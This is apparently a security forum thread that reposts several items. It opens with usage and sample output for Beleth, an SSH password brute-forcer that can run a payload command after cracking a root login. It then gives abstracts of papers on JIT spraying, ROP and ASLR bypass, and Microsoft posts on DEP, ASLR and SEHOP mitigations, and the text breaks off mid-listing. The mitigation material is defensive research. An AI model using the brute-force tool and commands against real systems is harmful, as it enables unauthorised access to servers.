Nytro

[h=1]Beleth[/h] Beleth is a multi-threaded asynchronous SSH password auditing tool written in C. There are plenty of other password cracking programs out there that can do the job, but I wanted something small, fast, and custom as a proof of concept. After preliminary tests, Beleth was able to outperform both THC-Hydra and Ncrack. Beleth also allows you to run a remote command after successfully cracking a password. Pull requests are welcome as the development is an ongoing process. For a more in depth look at the code, check out Chokepoint development blog. [h=2]Disclaimer[/h] Beleth is a password auditing tool and should not be run against anyone else's system without receiving proper permission first. By using this application on a live connection, you do so at your own risk. [h=2]Get the source[/h] Beleth is available on github and will continue to be updated with new features. The only library dependency is LibSSH2. Included with Beleth is the 2012 Top 25 most used passwords list. $ git clone https://github.com/chokepoint/Beleth.git $ cd beleth $ make $ ./beleth -h Usage: ./beleth [OPTIONS] -c [payload] Execute payload on remote server once logged in -h Display this help -l [threads] Limit threads to given number. Default: 10 -p [port] Specify remote port -t [target] Attempt connections to this server -u [user] Attempt connection using this username -v -v (Show attempts) -vv (Show debugging) -w [wordlist] Use this wordlist. Defaults to wordlist.txt $ ./beleth -t 127.0.0.1 -u root -w wordlist.txt -c 'uname -a' -l 15 +-----------------------------------------+ | Beleth | | www.chokepoint.net | +-----------------------------------------+ [*] Read 25 passwords from file. [*] Starting task manager [*] Spawning 15 threads [*] Starting attack on root@127.0.0.1:22 [*] Authentication succeeded (root:jesus@127.0.0.1:22) [*] Executing: uname -a [*] Linux eclipse 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1+deb7u1 i686 GNU/Linux [*] Cleaning up child processes. Sursa: Beleth - Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools

INTERPRETER EXPLOITATION: POINTER INFERENCE AND JIT SPRAYING ABSTRACT As remote exploits have dwindled and perimeter defenses have become the standard, remote client-side attacks are the next best choice for an attacker. Modern Windows operating systems have quelled the explosion of clientside vulnerabilities using mitigation techniques such as data execution prevention (DEP) and address space layout randomization (ASLR). This work will illustrate two novel techniques to bypass DEP and ASLR mitigations. These techniques leverage the attack surface exposed by the advanced script interpreters or virtual machines commonly accessible within the browser. The first technique, pointer inference, is used to find the memory address of a string of shellcode within the ActionScript interpreter despite ASLR. The second technique, JIT spraying, is used to write shellcode to executable memory by leveraging predictable behaviors of the ActionScript JIT compiler bypassing DEP. Future research directions and countermeasures for interpreter implementers are discussed. INTRODUCTION The difficulty in finding and exploiting a remote vulnerability has motivated attackers to devote their resources to finding and exploiting client side vulnerabilities. This influx of different client side attackers has pushed Microsoft to implement robust mitigation techniques to make exploiting these vulnerabilities much harder. Sotirov and Dowd [1] have described in detail each of the mitigation techniques and their default configurations on versions of Windows through Windows 7 RC. Their work shows some of the techniques available to bypass these protections and how the design choices made by Microsoft has influenced the details of these bypasses. One thing that stands out throughout this paper is how ripe a target the browser is for exploitation – the attacker can use multiple plugins, picking and choosing specific exploitable features, to set-up a reliable exploit scenario. The classic web browser, bursting at the seams with plug-ins, could not have been designed with more exploitation potential. It requires a robust parser to parse and attempt to salvage 6 versions of mark-up. With the advent of “Web 2.0”, a browser must now include a high performance scripting environment with the ability to rewrite those parsed pages dynamically. The library exposed to the scripting runtime continues to grow. Additionally, most browsers are now taking advantage of recent JIT and garbage collection techniques to speed up Javascript execution. All this attack surface and we haven’t begun to discuss the plug-ins commonly installed. Rich internet applications (RIAs) are not going away and Adobe currently maintains a hold over the market Download: http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms Abstract Protecting the kernel of an operating system against attacks, especially injection of malicious code, is an important factor for implementing secure operating systems. Several kernel integrity protection mechanism were proposed recently that all have a particular shortcoming: They cannot protect against attacks in which the attacker re-uses existing code within the kernel to perform malicious computations. In this paper, we present the design and implementation of a system that fully automates the process of constructing instruction sequences that can be used by an attacker for malicious computations. We evaluate the system on different commodity operating systems and show the portability and universality of our approach. Finally, we describe the implementation of a practical attack that can bypass existing kernel integrity protection mechanisms. 1 Introduction Motivation. Since it is hard to prevent users from running arbitrary programs within their own account, all modern operating systems implement protection concepts that protect the realm of one user from another. Furthermore, it is necessary to protect the kernel itself from attacks. The basis for such mechanisms is usually called reference monitor [2]. A reference monitor controls all accesses to system resources and only grants them if they are allowed. While reference monitors are an integral part of any of today’s mainstream operating systems, they are of limited use: because of the sheer size of a mainstream kernel, the probability that some system call, kernel driver or kernel module contains a vulnerability rises. Such vulnerabilities can be exploited to subvert the operating system in arbitrary ways, giving rise to so called rootkits, malicious software running without the user’s notice. Download: https://www.usenix.org/legacy/event/sec09/tech/full_papers/hund.pdf

Security Mitigations for Return-Oriented Programming Attacks Abstract With the discovery of new exploit techniques, new protection mechanisms are needed as well. Mitigations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a significantly more difficult environment for vulnerability exploitation. Attackers, however, have recently developed new exploitation methods which are capable of bypassing the operating system’s security protection mechanisms. In this paper we present a short summary of novel and known mitigation techniques against return-oriented programming (ROP) attacks. The techniques described in this article are related mostly to x86-321 processors and Microsoft Windows operating systems. 1 Introduction In order to increase the security level of the operating system, Microsoft has implemented several mitigation mechanisms, such as DEP and ASLR. Data Execution Prevention (DEP) is a security feature that prohibits the application from executing code from non-executable memory area. To exploit a vulnerability, an attacker must find a executable memory region and be able to fill it with necessary data (e.g., shellcode instructions). Generally, achieving this goal using old exploitation techniques is made significantly more difficult with the addition of the DEP mechanism. As a result, attackers improved upon the classic “return-into- libc” technique and started using return-oriented programming (ROP) [3, 7] to bypass Data Execution Prevention. Techniques like ROP are still based on the attacker understanding memory layout characteristics, leading Microsoft to implement Address Space Layout Randomization (ASLR) as a countermeasure. ASLR renders the layout of an application’s address space less predictable because it relocates the base addresses of executable modules and other memory mappings. In order to bypass DEP protection mechanism ROP technique was introduced. In this article we present novel and known mechanisms which are created specifically to prevent attackers from exploiting vulnerabilities based on the ROP method. Presented mitigations will be divided in two general categories: • Compiler-level mitigations — mitigations that can be only applied by the compiler or linker. • Binary-level mitigations — mitigations that can be applied without knowing the source code of the protected code fragment. Download: http://kryptoslogic.com/download/ROP_Whitepaper.pdf

Return-Oriented Programming without Returns ABSTRACT We show that on both the x86 and ARM architectures it is possible to mount return-oriented programming attacks without using return instructions. Our attacks instead make use of certain instruction sequences that behave like a return, which occur with sufficient frequency in large libraries on (x86) Linux and (ARM) Android to allow creation of Turing-complete gadget sets. Because they do not make use of return instructions, our new attacks have negative implications for several recently proposed classes of defense against return-oriented programming: those that detect the too-frequent use of returns in the instruction stream; those that detect violations of the last-in, first-out invariant normally maintained for the return-address stack; and those that modify compilers to produce code that avoids the return instruction. 1. INTRODUCTION This paper is about the feasibility of certain defenses against return-oriented programming. In the last year, several natural defenses have been proposed that target properties of return-oriented attacks and are intended to be simpler and have lower overhead than a comprehensive defense such as Control-Flow Integrity (CFI) [1, 14].1 In this paper, we show that these narrowly tailored defenses are incomplete by devising a new variant of return-oriented programming that evades them. Our results call into doubt the usefulness of these ad-hoc defenses. Download: http://www.cs.jhu.edu/~s/papers/noret_ccs2010/noret_ccs2010.pdf

ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks ABSTRACT Modern runtime attacks increasingly make use of the pow- erful return-oriented programming (ROP) attack techniques and principles such as recent attacks on Apple iPhone and Acrobat products to name some. These attacks even work under the presence of modern memory protection mecha- nisms such as data execution prevention (DEP). In this pa- per, we present our tool, ROPdefender, that dynamically de- tects conventional ROP attacks (that are based on return in- structions). In contrast to existing solutions, ROPdefender can be immediately deployed by end-users, since it does not rely on side information (e.g., source code or debugging in- formation) which are rarely provided in practice. Currently, our tool adds a runtime overhead of 2x which is comparable to similar instrumentation-based tools. 1. INTRODUCTION Runtime attacks on software aim at subverting the execu- tion ow of a program by redirecting execution to malicious code injected by the adversary. Typically, the control- ow of a program is subverted by exploiting memory vulnera- bilities. Despite extensive research and many proposed so- lutions in the last decades, such vulnerabilities ) are still the main source of vulnerabilities in to- day's applications. Figure 1 shows that the number of buer over ow vulnerabilities (according to the NIST1 Vulnerabil- ity database) continues to range from 600 to 700 per year. Operating systems and processor manufactures provide solutions to mitigate these kinds of attacks through the W X (Writable XOR Executable) security model [49, 43], which prevents an adversary from executing malicious code by marking a memory page either writable or executable. Current Windows versions (such as Windows XP, Vista, or Windows 7) enable W X (named data execution preven- tion (DEP) [43] in the Windows world) by default. Download: http://www.informatik.tu-darmstadt.de/fileadmin/user_upload/Group_TRUST/PubsPDF/ropdefender.pdf

On the Effectiveness of AddressSpace Randomization ABSTRACT Address-space randomization is a technique used to fortify systems against buer over ow attacks. The idea is to in- troduce articial diversity by randomizing the memory lo- cation of certain system components. This mechanism is available for both Linux (via PaX ASLR) and OpenBSD. We study the eectiveness of address-space randomization and nd that its utility on 32-bit architectures is limited by the number of bits available for address randomization. In particular, we demonstrate a derandomization attack that will convert any standard buer-over ow exploit into an ex- ploit that works against systems protected by address-space randomization. The resulting exploit is as eective as the original exploit, although it takes a little longer to compro- mise a target machine: on average 216 seconds to compro- mise Apache running on a Linux PaX ASLR system. The attack does not require running code on the stack. We also explore various ways of strengthening address- space randomization and point out weaknesses in each. Sur- prisingly, increasing the frequency of re-randomizations adds at most 1 bit of security. Furthermore, compile-time ran- domization appears to be more eective than runtime ran- domization. We conclude that, on 32-bit architectures, the only benet of PaX-like address-space randomization is a small slowdown in worm propagation speed. The cost of randomization is extra complexity in system support. Download: http://benpfaff.org/papers/asrandom.pdf

On the effectiveness of DEP and ASLR swiat 8 Dec 2010 9:59 AM DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) have proven themselves to be important and effective countermeasures against the types of exploits that we see in the wild today. Of course, any useful mitigation technology will attract scrutiny, and over the past year there has been an increasing amount of research and discussion on the subject of bypassing DEP and ASLR [1,2]. In this blog post we wanted to spend some time discussing the effectiveness of these mitigations by providing some context for the bypass techniques that have been outlined in attack research. The key points that should be taken away from this blog post are: DEP and ASLR are designed to increase an attacker's exploit development costs and decrease their return on investment. The combination of DEP and ASLR is very effective at breaking the types of exploits we see in the wild today, but there are circumstances where they can both be bypassed. Exploits targeting Microsoft and third party vulnerabilities have been created that are capable of bypassing DEP and ASLR in the context of browsers and third party applications. We are currently not aware of any remote exploits that are capable of bypassing DEP and ASLR in the context of in-box Windows services and various other application domains. Knowledge of potential bypass techniques directly informs our future work to improve the robustness and resiliency of DEP, ASLR, and our other mitigation technologies. DEP effectiveness (without ASLR) In a previous blog post series we went into detail on what DEP is and how it works[part 1, part 2]. In summary, the purpose of DEP is to prevent attackers from being able to execute data as if it were code. This stops an attacker from being able to directly execute code from the stack, heap, and other non-code memory regions. As such, exploitation techniques like heap spraying (of shellcode) or returning into the stack are not immediately possible. The effectiveness of DEP hinges on the attacker not being able to 1) leverage code that is already executable or 2) make the attacker's data become executable (and thus appear to be code). On platforms without ASLR (that is, versions of Windows prior to Windows Vista), it is often straightforward for an attacker to find and leverage code that exists in modules (DLLs and EXEs) that have been loaded at predictable locations in the address space of a process. Return-oriented programming (ROP) is perhaps the most extensive example of how an attacker can use code from loaded modules in place of (or as a stepping stone to) their shellcode [3,1]. In addition to loaded modules, certain facilities (such as Just-In-Time compilers) can allow an attacker to generate executable code with partially controlled content which enables them to embed shellcode in otherwise legitimate instruction streams ("JIT spraying")[2]. The fact that modules load at predictable addresses without ASLR also makes it possible to turn the attacker's data into executable code. There are a variety of ways in which this can be accomplished, but the basic approach is to use code from loaded modules to invoke system functions like VirtualAlloc or VirtualProtect which can be used to make the attacker's data become executable. Summary: DEP breaks exploitation techniques that attackers have traditionally relied upon, but DEP without ASLR is not robust enough to prevent arbitrary code execution in most cases. ASLR effectiveness (without DEP) Attackers often make assumptions about the address space layout of a process when developing an exploit. For example, attackers will generally assume that a module will be loaded at a predictable address or that readable/writable memory will exist at a specific address on all PCs. ASLR is designed to break these assumptions by making the address space layout of a process unknown to an attacker who does not have local access to the machine. This prevents an attacker from being able to directly and reliably leverage code in loaded modules. The effectiveness of ASLR hinges on the entirety of the address space layout remaining unknown to the attacker. In some cases memory may be mapped at predictable addresses across PCs despite ASLR. This can happen when DLLs or EXEs load at predictable addresses because they have not opted into ASLR via the /DYNAMICBASE linker flag. Prior to Internet Explorer 8.0 it was also possible for attackers to force certain types of .NET modules to load at a predictable address in the context of the browser[6]. Attackers can also use various address space spraying techniques (such as heap spraying or JIT spraying) to place code or data at a predictable location in the address space. In cases where the address space is initially unpredictable an attacker can attempt to discover the location of certain memory regions through the use of an address space information disclosure or through brute forcing[5]. An address space information disclosure occurs when an attacker is able to coerce an application into leaking one or more address (such as the address of a function inside a DLL). For example, this can occur if an attacker is able to overwrite the NUL terminator of a string and then force the application to read from the string and provide the output back to the attacker [4]. The act of reading from the string will result in adjacent memory being returned up until a NUL terminator is encountered. This is just one example; there are many other forms that address space information disclosures can take. Brute forcing, on the other hand, can allow an attacker to try their exploit multiple times against all of the possible addresses where useful code or data may exist until they succeed. Brute forcing attacks, while possible in some cases, are traditionally not practical when attacking applications on Windows because an incorrect guess will cause the application to terminate. Applications that may be subjected to brute force attacks (such as Windows services and Internet Explorer) generally employ a restart policy that is designed to prevent the process from automatically restarting after a certain number of crashes have occurred. It is however important to note that there are some circumstances where brute force attacks can be carried out on Windows, such as when targeting an application where the vulnerable code path is contained within a catch-all exception block. Certain types of vulnerabilities can also make it possible to bypass ASLR using what is referred to as a partial overwrite. This technique relies on an attacker being able to overwrite the low order bits of an address (which are not subject to randomization by ASLR) without perturbing the higher order bits (which are randomized by ASLR). Summary: ASLR breaks an attacker's assumptions about where code and data are located in the address space of a process. ASLR can be bypassed if the attacker can predict, discover, or control the location of certain memory regions (particularly DLL mappings). The absence of DEP can allow an attacker to use heap spraying to place code at a predictable location in the address space. DEP+ASLR effectiveness In the previous sections we described the effectiveness of DEP and ASLR in isolation from one another. In reality, DEP and ASLR are designed to be used in combination on Windows Vista and beyond. Both of these mitigations are enabled in the context of important applications like Internet Explorer 8, Microsoft Office 2010, and in-box services and applications that ship with the OS. This means that attackers looking to exploit vulnerabilities in these environments will need to overcome both obstacles (in addition to numerous other mitigations). The DEP+ASLR bypass techniques that are currently being explored in attack research have primarily focused on identifying and refining methods of bypassing ASLR. Once ASLR has been bypassed it is typically straightforward to bypass DEP using established techniques such as return-oriented programming. At this point in time there have been multiple exploits which have demonstrated that it is possible in practice to bypass the combination of DEP+ASLR in the context of certain application domains (such as browsers and third party applications). These exploits have bypassed ASLR through the use of predictable DLL mappings, address space information disclosures, or JIT spraying and have bypassed DEP through the use of return-oriented programming (or some simpler variant thereof) or JIT spraying. In many cases these exploits have relied on predictable mappings caused by DLLs that ship with third party components or by JIT compilation capabilities included in non-default browser plugins. This means that these exploits will fail if the required components are not installed. Although exploits have been written which are capable of bypassing the combination of DEP+ASLR, the vast majority of exploits that have been written to date do not have such capabilities and instead strictly target applications and platforms that do not enable these mitigations. This affirms our position that DEP+ASLR are strong countermeasures for the types of attacks that we see in the wild today despite weaknesses in their current implementations. Summary: DEP+ASLR are most effective when used in combination; however, their combined effectiveness is heavily dominated by the effectiveness of ASLR. Exploits have been developed that are able to bypass DEP+ASLR in the context of browsers and third-party applications. Nevertheless, the vast majority of exploits written to date do not attempt to bypass the combination of DEP+ASLR. Future directions As we look toward the future it is clear that attackers will continue to become increasingly incentivized to attempt to develop exploits which are capable of bypassing the combination of DEP+ASLR. Our understanding of the ways that DEP and ASLR can be bypassed directly informs the future work we are doing to improve the robustness and resiliency of our mitigation technologies. Although this work is ongoing there are two noteworthy improvements that we would like to highlight. The first improvement can be seen in the latest version of the Enhanced Mitigation Experience Toolkit (EMET) which now includes support for a feature known as mandatory ASLR. This feature enforces ASLR for all modules regardless of whether or not they are ASLR aware (which effectively eliminates predictable DLL mappings when enabled on Windows Vista and above). This resolves the ASLR bypass technique we described previously and it has been used in practice to successfully mitigate exploits in the wild. The second improvement consists of JIT spraying mitigations that have been directly incorporated into the JavaScript JIT compiler that was recently released in the Internet Explorer 9 beta. These mitigations act as countermeasures against the JIT spraying techniques that have been described in attack research. These two improvements help to further illustrate our belief that DEP, ASLR, and exploit mitigations in general are extremely important due to the impact they have on the cost of developing reliable exploits and due to the knowledge demands they place on attackers. Mitigations such as these enable us to be proactive about providing additional protection to customers who may be running software with an unknown or unpatched vulnerability. Ultimately our goal with exploit mitigations is to reach a point where vulnerabilities become too expensive to reliably exploit - and this is a goal we are actively working toward. Recommendations For enterprises and users We recommend that enterprises and users enable DEP for all critical applications and run a version of Windows that supports ASLR (such as Windows 7). The Enhanced Mitigation Experience Toolkit (EMET) can be used to easily enable DEP and other mitigations for a process. You can read more about EMET here: The Enhanced Mitigation Experience Toolkit For ISVs The effectiveness of mitigations like DEP and ASLR across the Windows ecosystem is heavily contingent on ISV adoption. ISVs that are interested in more details on how to enable DEP, ASLR, and other mitigations in their products are encouraged to refer to the guidance below: Windows ISV Software Security Defenses Matt Miller, MSEC Security Science References [1] Dino Dai Zovi. Practical Return-Oriented Programming. April, 2010. [2] Dionysus Blazakis. Interpreter Exploitation: Pointer Inference and JIT Spraying. February, 2010. [3] Hovav Shacham. Return-Oriented Programming: Exploits Without Code Injection. August, 2008. [4] Peter Vreugdenhil. Pwn2Own 2010 Windows 7 Internet Explorer 8 Exploit. March, 2010. [5] Hovav Shacham et al. On the Effectiveness of Address-Space Randomization. 2004. [6] Alexander Sotirov and Mark Dowd. Bypassing Browser Memory Protections. August, 2008. *Posting is provided "AS IS" with no warranties, and confers no rights.* Sursa: On the effectiveness of DEP and ASLR - Security Research & Defense - Site Home - TechNet Blogs

Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP swiat 2 Feb 2009 5:53 PM One of the responsibilities of Microsoft’s Security Engineering Center is to investigate defense in depth techniques that can be used to make it harder for attackers to successfully exploit a software vulnerability. These techniques are commonly referred to as exploit mitigations and have been delivered to users in the form of features like /GS, Data Execution Prevention (DEP), and Address Space Layout Randomization (ASLR). In Windows Server 2008 and Windows Vista SP1, Microsoft released support for a new platform mitigation known as Structured Exception Handler Overwrite Protection (SEHOP). The purpose of this article is to explain the problem this feature is attempting to solve, how it goes about solving it, and what you can do take advantage of it. The exploitation technique: SEH overwrites The purpose of the SEHOP mitigation is to prevent an attacker from being able to make use of the Structured Exception Handler (SEH) overwrite exploitation technique. This exploitation technique was publicly documented by David Litchfield of NGS Software in a research paper that he published in September, 2003[1]. Since this publication, the SEH overwrite technique has become a standard weapon in an attacker’s arsenal. Roughly 20% of the exploits included in the latest version of the Metasploit framework make use of the SEH overwrite technique. SEH overwrites are also commonly used by exploits that target the increasing number of browser-based vulnerabilities[4]. At a high-level, the SEH overwrite technique uses a software vulnerability to execute arbitrary code by abusing the 32-bit exception dispatching facilities provided by Windows. At a functional level, an SEH overwrite is generally accomplished by using a stack-based buffer overflow to overwrite an exception registration record that has been stored on a thread’s stack. To provide some context, an exception registration record is composed of two fields: a next pointer and an exception handler function pointer. The next pointer is used to link an exception registration record to the next record in the singly-linked list of registered exception handlers. The exception handler function pointer is called by the Windows exception dispatcher when an exception occurs. The definition for an exception registration record can be seen below: typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; PEXCEPTION_ROUTINE Handler; } EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD; After an exception registration record has been overwritten, an exception must be raised so that the exception dispatcher will attempt to handle it. This can be accomplished in a number of ways, such as by overwriting a return address on the stack with a bogus address in order to cause an access violation exception to be raised. When an exception is raised, the exception dispatcher will attempt to enumerate the list of exception registration records for the thread and call the exception handler that is associated with each record. By corrupting the next pointer and exception handler function pointer of one of the exception registration records, the exception dispatcher can be made to execute code from an arbitrary address as specified by the corrupt exception handler function pointer. In many cases, an attacker will choose to overwrite the exception handler function pointer with an address that contains instructions that are equivalent to a pop reg, pop reg, ret. This allows an attacker to reliably execute arbitrary code by transferring control to the EstablisherFrame that the exception dispatcher passes as the second parameter when calling an exception handler. This works because the EstablisherFrame parameter holds the address of the attacker-controlled exception registration record. Attackers have also used heap spraying in conjunction with an SEH overwrite to reliably execute arbitrary code. The following diagram illustrates what an SEH overwrite would typically look like from an exploitation perspective: The mitigation technique: SEHOP There are two general approaches that can be considered when attempting to mitigate the SEH overwrite exploitation technique. The first approach involves making changes to the compiled versions of code such that executable files are made to contain metadata that the platform would need to properly mitigate this technique. Microsoft pursued this approach and released a functional mitigation with Visual Studio 2003. This mitigation took the form of a new linker flag known as /SAFESEH. Unfortunately, the need to rebuild executables in combination with the inability to completely handle cases where an exception handler is pointed outside of an image file make the SafeSEH approach less attractive. The details relating to how SafeSEH works are beyond the scope of this article, but more information can be found on MSDN[2]. The second approach involves adding dynamic checks to the exception dispatcher that do not rely on having metadata derived from a binary. This is the approach taken by SEHOP. At a high-level, SEHOP prevents attackers from being able to use the SEH overwrite technique by verifying that a thread’s exception handler list is intact before allowing any of the registered exception handlers to be called. This mitigation technique is made possible because of an implicit side effect of an SEH overwrite. When the majority of stack-based buffer overflows occur, an attacker will implicitly overwrite the next pointer of an exception registration record prior to overwriting the record’s exception handler function pointer. Since the next pointer is corrupted, the integrity of the exception handler chain is broken. This insight, in combination with ASLR, is what allows SEHOP to effectively mitigate SEH overwrites. From an implementation perspective, SEHOP achieves this functionality in two distinct steps. The first step involves the insertion of a symbolic exception registration record as the tail record in a thread’s exception handler list. This step occurs when a thread first begins executing in user mode. Since exception registration records are always inserted at the head of the exception handler list, the symbolic record is guaranteed to be the final exception registration record. The second step consists of walking the exception handler list at the time that an exception is being dispatched to ensure that the symbolic record can be reached and that it is valid. This step happens when the exception dispatcher is notified that an exception has occurred in user mode. If the symbolic record cannot be reached, the exception dispatcher can assume that the exception handler list is corrupt and that an SEH overwrite may have occurred. The exception dispatcher is then able to safely terminate the process. If the symbolic record is found, the exception dispatcher is able to proceed as it normally would and call each of the registered exception handlers. An illustration of this logic can be seen in the following diagram: How you can use SEHOP SEHOP is enabled by default on Windows Server 2008 and disabled by default on Windows Vista SP1. The primary reason this feature was disabled by default on Windows Vista SP1 was due to a lack of adequate application compatibility data. KB article 956607 documents how SEHOP can be enabled or disabled on a system-wide basis[3]. Wrapping up We are continuing to investigate new and enhanced exploit mitigation techniques and feel that SEHOP is a valuable addition that can help protect users. We encourage users to enable this feature if it is not enabled by default in order to better protect themselves against the SEH overwrite exploitation technique. For more information about the origins of SEH overwrites and SEHOP, it may be helpful to refer to the cited work[1,5]. Matt Miller, MSEC Security Science *Posting is provided "AS IS" with no warranties, and confers no rights.* References [1] Litchfield, David. Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server. Sep, 2003. Information Security Software & Services - NCC Group [2] Microsoft Corporation. /SAFESEH (Image has Safe Exception Handlers). http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx [3] Microsoft Corporation. SEHOP. How to enable Structured Exception Handling Overwrite Protection (SEHOP) in Windows operating systems [4] Microsoft Corporation. Microsoft Security Intelligence Report volume 5. Nov, 2008. Download Microsoft Security Intelligence Report volume 5 (January – June 2008) from Official Microsoft Download Center [5] skape. Preventing the Exploitation of SEH Overwrites. Sep, 2006. Uninformed - vol 5 article 2 Sursa: Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP - Security Research & Defense - Site Home - TechNet Blogs

Understanding DEP as a mitigation technology part 1 swiat 12 Jun 2009 1:30 PM We have mentioned DEP in several recent blog posts (1, 2, 3, and 4). This blog post will answer: What is DEP? How can you enable DEP? What are the risks in enabling different modes of DEP? This is the first of a two-part blog series on DEP as a mitigation technology. What is DEP? DEP or “Data Execution Prevention” is a hardware + software solution for preventing the execution of code from pages of memory that are not explicitly marked as executable. Windows XP SP2, Windows Server 2003 SP1, and later operating systems check if the CPU supports enforcement of the ‘no execute’ or ‘execute disable bit’ for a page of memory. Before Windows XP SP2, an exploit (“code”) could execute from memory allocated without the execute memory protection constant set. For example, if a page of memory were allocated using the VirtualAlloc() function specifying PAGE_READWRITE, it was still possible to execute code from that page of memory. Starting with Windows XP SP2 and Windows Server 2003 SP1, if the CPU supports the execute disable (XD – Intel CPUs) or no execute (NX – AMD CPUs) bits, any attempts to execute code from a page of memory with a (for example) PAGE_READWRITE memory protection will generate a STATUS_ACCESS_VIOLATION (0xC0000005) access violation exception. For more information on how hardware enforced DEP works please refer to the following article: Part 3: Memory Protection Technologies. DEP is “always on” for 64bit processes on 64bit versions of Windows and it cannot be disabled. The Windows DEP policy can be managed on both a system wide and per-process basis and both approaches will be discussed below. This blog post will apply specifically to 32bit processes running on either a 32bit or 64bit version of Windows. How robust is DEP? DEP presents a hurdle to attackers as they attempt to successfully exploit security vulnerabilities. In some cases, it is possible for an attacker to evade DEP by using an exploitation technique such as return-to-libc. DEP by itself is generally not a robust mitigation. DEP is a critical part of the broader set of exploit mitigation technologies that have been developed by Microsoft such as ASLR, SeHOP, SafeSEH, and /GS. These mitigation technologies complement one another; for example DEP’s weaknesses tend to be offset by ASLR and vice versa. DEP and ASLR used together are very difficult to bypass. The known bypasses that exist have been tied to specific application contexts (such as the IE7 and earlier bypass from Mark Dowd and Alex Sotirov). How do I enable DEP? If you have hardware that supports DEP and you are running Windows XP SP2 or newer operating system – you are already using DEP to some extent! Hardware enforced DEP can be configured system wide (applying to all processes) or using per-process policies. There are four different ways of enforcing a system wide DEP policy on platforms that support it. “Opt-In” – In this mode of operation DEP is enabled only for processes that explicitly opt-in to DEP. This is the default configuration for client operating systems such as Windows XP and Windows Vista. “Opt-Out” – In this mode of operation DEP is enabled by default for all processes except those that explicitly opt-out of DEP. This is the default configuration for server operating systems such as Windows Server 2003 and Windows Server 2008. “Always On” – In this mode of operation DEP is always enabled for all processes regardless of whether the program is compatible with DEP or not. “Always Off” – In this mode of operation DEP is always disabled for all processes. Windows XP SP2 and Windows Server 2003 SP1 This article does a great job explaining how to use the boot.ini or the GUI to configure the memory protection settings on Windows XP SP2 and Windows Server 2003 SP1. Note that configuring the “system wide” DEP policy requires administrative privileges. Windows Vista and Windows Server 2008 To configure the system-wide DEP policy on Windows Vista and Server 2008, modify the Boot Configuration Database using the bcdedit.exe console application from an elevated command prompt. You can find more information about how to do that here: Content Moved (Windows) Potential application compatibility issues with DEP “Always On” Setting DEP to always be enabled for all processes may increase the risk of causing application problems due to certain behavior from versions of ATL prior to version 7.1. Older versions of ATL generated machine code at runtime and then attempted to execute this code from pages of memory that were not marked as executable, thus causing a DEP violation if DEP is enabled. If the system-wide setting is “opt-in”, a process known as “ATL thunk emulation” is used to avoid ATL related DEP crashes. “ATL thunk emulation” is not used if DEP is “Always On”. NOTE: When the "Always On" setting is used there are known compatibility issues with Microsoft Office applications when opening documents that contain VBA (Visual Basic for Applications) macros that can lead to DEP related crashes. How can I tell if a specific process has opted-in or will opt-in to DEP? The easiest way to tell if a process is currently using DEP is to use Process Explorer and to configure it to show the processes DEP status (View->Select Columns->Process DEP status) as shown below: To determine why a process uses (or does not use) DEP requires a bit more investigative work. Here are the ways the system could have decided on a process’s DEP state. Each will be explored in more detail later in the blog post. The system-wide DEP policy was set to "AlwaysOn". DEP is enabled for all processes. The system-wide DEP policy was set to "OptIn" and the process opted-in via an entry in the Application Compatibility Database. The system-wide DEP policy was set to "OptOut" and the process did not explicitly opt-out. The process executable was linked with the /NXCOMPAT linker switch and is running on a Vista or newer operating system. The process has the "ExecuteOptions" registry value set to 0 in the "Image File Execution Options" registry key and is running on a Windows Vista or newer operating system. The process called the new SetProcessDEPPolicy API on Vista SP1, XPSP3 or Windows Server 2008. How Per-Process DEP policy works on Windows XP SP2 & Windows Server 2003 SP1 Windows XP SP2 and Windows Server 2003 SP1 included a heavy emphasis on security. As such, many of the default Windows programs were opted-in to DEP via the Application Compatibility database. To explore which programs opt-in to DEP on Windows XP SP2 or Windows Server 2003 SP1 you can download and install the latest Application Compatibility Toolkit and browse the main system database under the 'Windows Components' subset of applications. All Windows XP SP2 applications opt-in to DEP if in category “Windows Components” with “AddProcessParametersFlags" compatibility fix applied: The Windows Server 2003 SP1 default system wide policy is “OptOut”. That means all processes that do not explicitly opt-out will have DEP enabled. If the system-wide policy is changed, an application could still have DEP enabled by using the EnableDEP compatibility fix as shown below: These compatibility fixes set the PEB's ProcessParameters value to 0x00020000, causing Windows XP SP2 and Windows Server 2003 SP1 to opt a process in to DEP. We found 305 processes opted-in to DEP on Windows XP SP2 and Windows Server 2003 SP1 via the main application compatibility database (%windir%\AppPatch\sysmain.sdb) using this particular compatibility fix. We have attached the list of processes at the bottom of the blog. New Per-Process DEP options on Windows Vista, Windows Server 2008 and newer operating systems Microsoft has introduced options on newer operating systems to opt a process in to DEP. /NXCOMPAT linker switch On Vista and newer operating systems, processes linked with the /NXCOMPAT option are opted-in to DEP by default. Developers of 3rd party applications that want to take advantage of this mitigation technology can re-link their applications using the Visual C++ 2003 or newer version of the linker by passing in the “/NXCOMPAT” flag. This will cause the linker to emit a binary that declares that it supports DEP via an optional image header field supported on Vista and later operating systems. You can determine whether a process has been linked with the /NXCOMPAT linker switch using dumpbin.exe (which ships with Visual Studio): C:\Windows\System32>dumpbin /headers dllhost.exe Microsoft (R) COFF/PE Dumper Version 9.00.21022.08 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file dllhost.exe PE signature found File Type: EXECUTABLE IMAGE FILE HEADER VALUES 8664 machine (x64) 5 number of sections 4549BBFF time date stamp Thu Nov 02 05:35:59 2006 0 file pointer to symbol table 0 number of symbols F0 size of optional header 22 characteristics Executable Application can handle large (>2GB) addresses OPTIONAL HEADER VALUES 20B magic # (PE32+) 8.00 linker version 1400 size of code 1000 size of initialized data 0 size of uninitialized data 1818 entry point (0000000100001818) 1000 base of code 100000000 image base (0000000100000000 to 0000000100006FFF) 1000 section alignment 200 file alignment 6.00 